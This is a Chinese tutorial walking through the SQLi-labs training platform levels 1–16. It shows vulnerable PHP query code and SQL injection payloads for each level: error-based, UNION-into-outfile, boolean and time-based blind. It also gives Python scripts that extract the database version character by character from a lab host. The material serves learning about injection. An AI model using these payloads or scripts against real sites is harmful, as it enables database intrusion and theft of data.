SQLi-labs是个专门用来学习SQL注入的开源漏洞测试平台,基于php+mysql开发,所以里面涉及的SQL注入都是mysql语法。
下载的地址是https://github.com/Audi-1/sqli-labs
下载安装按照readme里面要求即可,这里不多废话。下面是每个题目的具体分析:
1、error based string sqli
首先是源码:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo " "; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; }
我们可以看到当mysql语句正确执行的时候,应用会打印结果,但是没有正确执行的时候会打印错误,所以这里我们并不能像有回显位注入那样直接注入mysql语句。我们需要利用报错信息进行注入。
原理其实比较简单,一般都是利用某函数X 比如X(exp) mysql函数在执行的时候会先执行函数里面的exp,获取返回值,然后再把exp的返回值作为参数给X进行执行,当exp的返回值不符合X的传参要求时,会导致query错误,打印出错误。
直接贴上一个老毛子整理的error based的cheat sheet:https://blackfan.ru/mysql_game/
构造exp:‘ | polygon((select*from(select name_const(version(),1))x))%23 |
2、error based integer sqli
原理同一,只不过是注入点的变量是integer
exp: | polygon((select*from(select name_const(version(),1))x))%23 |
3、注入点变量外有单引号和括号,在exp中添加对应的符号即可:
exp:’) | polygon((select*from(select name_const(version(),1))x))%23 |
4 、双引号加括号的error based 注入,变下exp即可:
exp: “) | polygon((select*from(select name_const(version(),1))x))%23 |
5、string 单引号注入同第一题
exp: ‘ | polygon((select*from(select name_const(version(),1))x))%23 |
6、string 双引号注入
exp: “ | polygon((select*from(select name_const(version(),1))x))%23 |
7、我们先看下源码:
error_reporting();
这句话表示不再显示具体错误,只会显示“You have an error in your SQL syntax“,所以这里我们不能用前几题的error based注入,根据标题的提示“dump into outfile”, 由于我权限设置的原因,apache用户无法写入文件,这里直接给出exp了:
1′)) union select 1,2,3 into outfile “/tmp/test.txt” –-+
8、布尔型的盲注,这里我们通过and 1=1、and 1=2进行判断:
?id=1’+and+1=1–+ 和id=1相同回显
?id=1’+and+1=2–+ 和id=1不同回显
证明这里的and后面的语句被执行了,这里我们需要利用一些函数结合脚本来获取数据库信息:
import requests payload = '0123456789.abcdefghijklmnopqrstuvwxyz' for posi in range(20): for asc in payload: url = "http://tools.ikow.cn/sqli-labs/Less-8/?id=1\'+AND ASCII(SUBSTRING(version(),%d,1))=%d--+" \ % (posi, ord(asc)) result = requests.get(url) #print url if "You are in" in result.content: print asc,
9、我们看下第九题的源码(https://github.com/Audi-1/sqli-labs/blob/master/Less-9/index.php)发现sql查询不管是正确还是错误都会返回相同的信息,这个时候我们不能通过第八题中基于回显进行注入了,这里我们要利用mysql中的一些延时函数进行注入。这题是考察基于时间的盲注
mysql中主要有sleep和benchmark两个函数,sql server中有wait for time和wait for delay两个。时间盲注大体上和布尔型盲注相同,这里我们判断语句是否执行是通过mysql数据库延时返回造成我们的http响应延时。
这里直接上写好的脚本,逻辑很简单:
import requests import time payload = '0123456789.abcdefghijklmnopqrstuvwxyz' for posi in range(20): for asc in payload: FirstRun = int(time.time()) url = "http://tools.ikow.cn/sqli-labs/Less-9/?id=1\'" \ "+AND+IF(ASCII(SUBSTRING(version(),%d,1))=%d,SLEEP(5),0)--+" \ % (posi, ord(asc)) result = requests.get(url) SecondRun = int(time.time()) #print url #print SecondRun,FirstRun if SecondRun - FirstRun > 1: print asc,
11、同样是基于时间的盲注,不过是10中的单引号换成了双引号,简单该下脚本即可
12、基于报错的post双引号加括号注入
exp:uname=admin&passwd=”)/updatexml(0,repeat(version(),2),0)#
13、基于报错的post单引号加括号注入
exp: uname=admin&passwd=’)/updatexml(0,repeat(version(),2),0)#
14、基于报错的post双引号注入
exp: uname=admin&passwd=”/updatexml(0,repeat(version(),2),0)#
15、post 布尔型盲注
exp script:
import requests payload = '0123456789.abcdefghijklmnopqrstuvwxyz' for posi in range(20): for asc in payload: url = "http://tools.ikow.cn/sqli-labs/Less-15/" payload = "admin\' AND ASCII(SUBSTRING(version(),%d,1))=%d#" \ % (posi, ord(asc)) data = {'uname':'admin', 'passwd': payload} result = requests.post(url,data=data) #print data if "flag.jpg" in result.content: print asc,
16、post 时间盲注